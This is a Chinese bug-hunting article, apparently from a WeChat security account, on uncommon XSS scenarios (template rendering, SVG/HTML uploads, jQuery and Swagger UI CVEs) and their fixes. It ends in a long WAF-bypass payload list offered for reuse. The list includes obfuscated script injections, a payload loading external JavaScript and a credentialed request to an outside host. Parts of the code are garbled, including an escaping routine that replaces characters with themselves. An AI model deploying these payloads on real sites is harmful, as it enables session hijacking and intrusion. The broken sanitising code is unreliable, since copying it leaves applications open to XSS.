0x01 前言
XSS漏洞其实它早已从传统的“反射/存储/DOM”演化出更多隐蔽场景,本文从攻防两端系统拆解这些新型XSS攻击技巧,其实xss还有更多的隐藏在其他场景中的,这些一般都是容易忽略的,下面详细分析分析,从代码层面也会讲解漏洞原因,还有目前xss的各种修复手法。
参考文章:https://xz.aliyun.com/news/16886
https://github.com/whgojp/JavaSecLab/wiki
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
末尾可领取挖洞资料文件
0x02 漏洞详情
模板渲染
有去看过一些 cms,确实是这样的,比如模板的特殊标签
th:text 用于展示纯文本,会对特殊字符进行转义th:utext 则不进行转义,直接展示原始 HTML 内容当获取后端传来的参数中带有 HTML 标签时,th:text 不会解析这些标签,而 th:utext 会解析并渲染它们。这类似于 Vue 中的 v-text 和 v-html
public String handleTemplateInjection(String content,Stringtype, Model model) {
if ("html".equals(type)) {
model.addAttribute("html", content);
} else if ("text".equals(type)) {
model.addAttribute("text", content);
}
return "vul/xss/other";
}
<div class="layui-card-body layui-text layadmin-text" style="color: red;font-size: 15px;">
<pth:utext="${html}"></p>
<pth:text="${text}"></p>
</div>
这个规范一下就 ok 了
文件上传 xss
src 中经常遇到的就是 svg ,html,xml,pdf 没有危害就不管了
我们只需要关注一下文件应该怎么写,这个才是重点
html就很简单,就是插入我们的脚本就 ok
<htmllang="en">
<head>
<metacharset="UTF-8">
<title>HTML类型</title>
</head>
<body>
<h1>可上传HTML类型文件导致XSS!</h1>
<script>alert(document.cookie)</script>
</body>
</html>
svg
<svgversion="1.1"id="Layer_1"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"x="0px"y="0px"width="100px"height="100px"viewBox="0 0 751 751"enable-background="new 0 0 751 751"xml:space="preserve"><imageid="image0"width="751"height="751"x="0"y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(document.cookie)</script>
</svg>
svg 可以 xss 的原因就是因为可以解析 script 标签
xml
<data>
<message>This is a <script>alert('XSS')</script> payload</message>
</data>
这个比较鸡肋,需要解析 xml 才可以,我觉得最常用的就是 svg 了
组件漏洞
JQuery-XSS 漏洞
<head>
<metacharset="utf-8">
<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
<!-- 测试JQuery -->
<scriptsrc="/lib/jquery-1.6.1.js"></script>
<!-- <script src="./jquery.min.js"></script> -->
</head>
CVE-2020-11022/CVE-2020-11023
CVE-2020-11022 和 CVE-2020-11023 是 jQuery 的两个跨站脚本(XSS) 漏洞,影响 jQuery 1.2 - 3.5.0 版本,主要与 html() 方法有关。
CVE-2020-11022
影响 $().html() 方法
允许攻击者通过不受信任的 HTML 代码执行恶意 JavaScript 代码
例如,插入 script、iframe、onerror 等危险标签绕过安全检查
CVE-2020-11023
影响 $().html() 方法在 SVG 元素中处理不当
允许攻击者注入恶意 JavaScript,导致 XSS
比如
<divid="content"></div>
<script>
var userInput = '<img src=x onerror=alert("XSS")>';
$("#content").html(userInput); // 🚨 直接插入,存在漏洞
</script>
然后下一个 cve 就是绕过
Swagger UI XSS 漏洞(CVE-2023-38418)
<!--swagger依赖-->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-boot-starter</artifactId>
<version>3.0.0</version>// 该版本存在xss
</dependency>
API 文档的 description、operationId、summary、contact 等字段可被插入恶意 HTML/JavaScript 代码Swagger UI 在渲染这些字段时未对 HTML 进行适当的转义
比如
{
"openapi": "3.0.0",
"info": {
"title": "Swagger XSS",
"version": "1.0.0",
"description": "<script>alert('XSS')</script>"
}
}
作者使用的就比较复杂了最后是在远程文件https://jumpy-floor.surge.sh/test.yaml
所以需要等待一会才会弹出
漏洞代码修复
白名单
// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据
// 前端校验代码
var whitelistRegex = /^[a-zA-Z0-9_s]+$/;
// 检查输入值是否符合白名单要求
if (!whitelistRegex.test(value)) {
layer.msg('输入内容包含非法字符,请检查输入', {icon: 2, offset: '10px'});
return false; // 取消表单提交
} else {
// 正常发送请求
}
// 后端校验代码
private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\s]+$";
private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);
Matcher matcher = pattern.matcher(content);
if (matcher.matches()){
return R.ok(content);
}else return R.error("输入内容包含非法字符,请检查输入");
xss 的本质就是需要各种标签去解析,如果我们不能输入标签,那么就可以阻止xss
我们只能输入字母、数字、下划线和空格
前端
但是我们如果仅仅只是前端过滤的话,任然可以被绕过,这在 src 中很常见
我们输入一个 1 然后抓包
然后再修改我们的 payload
GET /xss/reflect/safe1?content=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%73%73%2f%29%3c%2f%73%63%72%69%70%74%3e&type=frontEnd&_=1738825573547 HTTP/1.1
Host: 127.0.0.1:9898
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9898/xss/reflect/safe
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.2.0; MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d; JSESSIONID=E6B03C38C24E570648FC87997AAB56B4
Connection: keep-alive
所以开发的时候我们需要在后端写我们的过滤逻辑
后端
如果过滤在后端,无论我们是抓包还是前端输入,都会被拦截
即使我们使用 bp
GET /xss/reflect/safe1?content=%3Cscript%3Ealert(%2Fxss%2F)%3C%2Fscript%3E&type=backEnd&_=1738825573552 HTTP/1.1
Host: 127.0.0.1:9898
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9898/xss/reflect/safe
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.2.0; MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d; JSESSIONID=E6B03C38C24E570648FC87997AAB56B4
Connection: keep-alive
可以看到还是需要进行数据的过滤
CSP 策略
内容安全策略(CSP:Content Security Policy)是一种由浏览器实施的安全机制(可理解为额外的安全层),旨在减少和防范跨站脚本攻击等安全威胁核心原理:网站通过发送一个 CSP header 头部(也可以在 html 直接设置),告诉浏览器具体的策略(什么是授权的与什么是被禁止的),从而防止恶意内容的加载和执行CSP 指令说明:
default-src: 指定默认的加载内容的来源,如果未指定其他指令,则默认应用此指令
script-src: 指定允许加载 JavaScript 的来源
style-src: 指定允许加载样式表的来源
img-src: 指定允许加载图片的来源
connect-src: 指定允许向其发送请求的来源(例如 AJAX、WebSocket 连接等)
安全代码
// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行
// 前端Meta配置
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://fonts.lug.ustc.edu.cn; img-src 'self' data: https://*.example.com;">
// 后端Header配置
public String safe2(String content,HttpServletResponse response) {
response.setHeader("Content-Security-Policy","default-src self");
return content;
}
我们重点关注 csp 的限制
限制所有资源(脚本、样式、图片等)只能来自同源(self),不允许外部来源的资源加载。
然后
可以看见 csp 起作用
特殊字符实体转义
// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程
// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞
publicR safe3( (String type,String content){
String filterContented ="";
switch(type){
case"manual":
content =StringUtils.replace(content,"&","&");
content =StringUtils.replace(content,"<","<");
content =StringUtils.replace(content,">",">");
content =StringUtils.replace(content,""",""");
content =StringUtils.replace(content,"'","'");
content =StringUtils.replace(content,"/","/");
filterContented =content;
break;
case"spring":
filterContented =HtmlUtils.htmlEscape(content);
break;
...
}
}
可以看到把我们的关键 xss 代码转义了
我们尝试输入一段 xss 代码测试
可以看见成功转义了
我们看到代码部分,是会进入 htmlEscape 函数去转义
HttpOnly
如果 Cookie 设置了 HttpOnly,那么前端 JavaScript 无法读取 Cookie,即使攻击者利用 XSS 注入恶意脚本,也无法窃取 Cookie。
配置方法如下
三种
// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险
// 单个接口配置
public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {
Cookie cookie = request.getCookies()[ueditor];
cookie.setHttpOnly(true); // 设置为 HttpOnly
cookie.setMaxAge(600); // 这里设置生效时间为十分钟
cookie.setPath("/");
response.addCookie(cookie);
return R.ok(content);
}
// 全局配置
// ueditor、application.yml配置
server:
servlet:
session:
cookie:
http-only: true
// 2、Springboot配置类
public class ServerConfig {
public WebServerFactoryCustomizer<ConfigurableWebServerFactory> webServerFactoryCustomizer() {
return factory -> {
Session session = new Session();
session.getCookie().setHttpOnly(true);
factory.setSession(session);
...
}
我们尝试弹一个 cookie
GET /xss/reflect/safe4?content=123%3Cimg%20src%20onerror%3Dalert(document.cookie)%3E123&type=&_=1738834329602 HTTP/1.1
Host: 127.0.0.1:9898
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9898/xss/reflect/safe
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: DETECTED_VERSION=5.2.0; MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d; JSESSIONID=44E627B3CA5C93C63DD163C388DCEA7C
Connection: keep-alive
我们看看能不能窃取我们的 JSESSIONID
可以看到能获取我们的
MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d
0x03 XSS绕WafPayload
常用的绕Waf-Payload
字符替换
单引号和双引号替换反引号等等
alert替换为confirm、prompt、console.log、document.write
空格替换为换行符、/**/、/ 加一些%0a%0d
*/alert/*
括号被过滤
<imgsrc=1onerror="window.onerror=eval;throw'=alertx281x29';">
根据服务器特性进行双写大小写编码之类的
还可以引入外部的js地址
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'
各种编码
浏览器解码顺序为HTML解码 -> URL解码 -> js(unicode)解码
HTML、js、进制编码
<imgsrc=xonerror = javascript:alert(111)>
<ahref=javascript:alert(1)>Click</a>
<svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')>
<iframesrc="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
加入特殊字符混淆(和编码结合)
<imgsrc="javascript:alert(/xss/);">
<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>
<ahref=javascript:eval("alert(111);var x=new XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var d=x.responseText;alert(d);")>99999999</a>
<ahref=ja
vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title>
<iframesrc=javasc
ript:alert(1)></iframe>
字符拼接
<imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<imgsrc="x"onerror="frames[`al`+`ert`](1)">
<imgsrconerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
alert1变异
(alert)(1)
a=alert,a(1)
alert(String.fromCharCode(49))
[1].find(alert)
window['al'+'ert'](/xss/)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
aleru0074(String.fru006fmCharCu006fde(49))
alu0065rt(1)
top['al145rt'](1)
top[8680439..toString(30)](1)
eval(atob('YWxlcnQoMSk='))
"top['ale'+'rt'].call(null,'xss')"
alert(2)
top['alx65rt'](1)
[43804..toString(36)].some(confirm)
window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")
常用payload
<imgsrc=xonerror=alert(1)>
<imgsrc="x"onerror="window['al'+'ert'](1)">
<svgonload=alert(1)>
<formid='test'></form><buttonform='test'formaction='javascript:alert(1)'>X</button>
<ahref=javascript:[1].find(alert)>xss</a>
<imgsrc=xonerror = javascript:alert(111)>
<iframesrc=javascript:[1].find(alert)></iframe>
<xmponmousemove="alert(1)">test</xmp>
<formid="test"></form><buttonform="test"formaction="javascript:prompt(xss)">X</button>
<xonmouseover="top['ale'+'rt'].call(null,'xss')">test
<imgsrc=1onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<input/onfocus=_=alert,_(123)>
<inputonfocus=u0061u006Cu0065u0072u0074(1)autofocus>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
<svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')>
<detailsopenontoggle=[43804..toString(36)].some(confirm)>
<objectdata='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBEDSRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="type="image/svg+xml"AllowScriptAccess="always"></EMBED>
<table><captiononclick=aleru0074(String.fru006fmCharCu006fde(49))>Click me
补充:on事件
onsearch
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onabort
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onemptied
onended
onerror
onfocus
onformdata
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onpause
onplay
onplaying
onprogress
onratechange
onreset
onresize
onscroll
onseeked
onseeking
onselect
onstalled
onsubmit
onsuspend
ontimeupdate
ontoggle
onvolumechange
onwaiting
onwheel
onauxclick
ongotpointercapture
onlostpointercapture
onpointerdown
onpointermove
onpointerup
onpointercancel
onpointerover
onpointerout
onpointerenter
onpointerleave
onselectstart
onselectionchange
onanimationend
onanimationiteration
onanimationstart
ontransitionend
onafterprint
onbeforeprint
onbeforeunload
onhashchange
onlanguagechange
onmessage
onmessageerror
onoffline
ononline
onpagehide
onpageshow
onpopstate
onrejectionhandled
onstorage
onunhandledrejection
onunload
0x04 总结
XSS虽老,但从未过时。本文涵盖了模板渲染、文件上传、Swagger、jQuery等多个XSS高发点,展示了真实场景下的攻击链与绕过方式。喜欢的师傅可以点赞转发支持一下谢谢!
原文始发于微信公众号(渗透安全HackTwo):XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论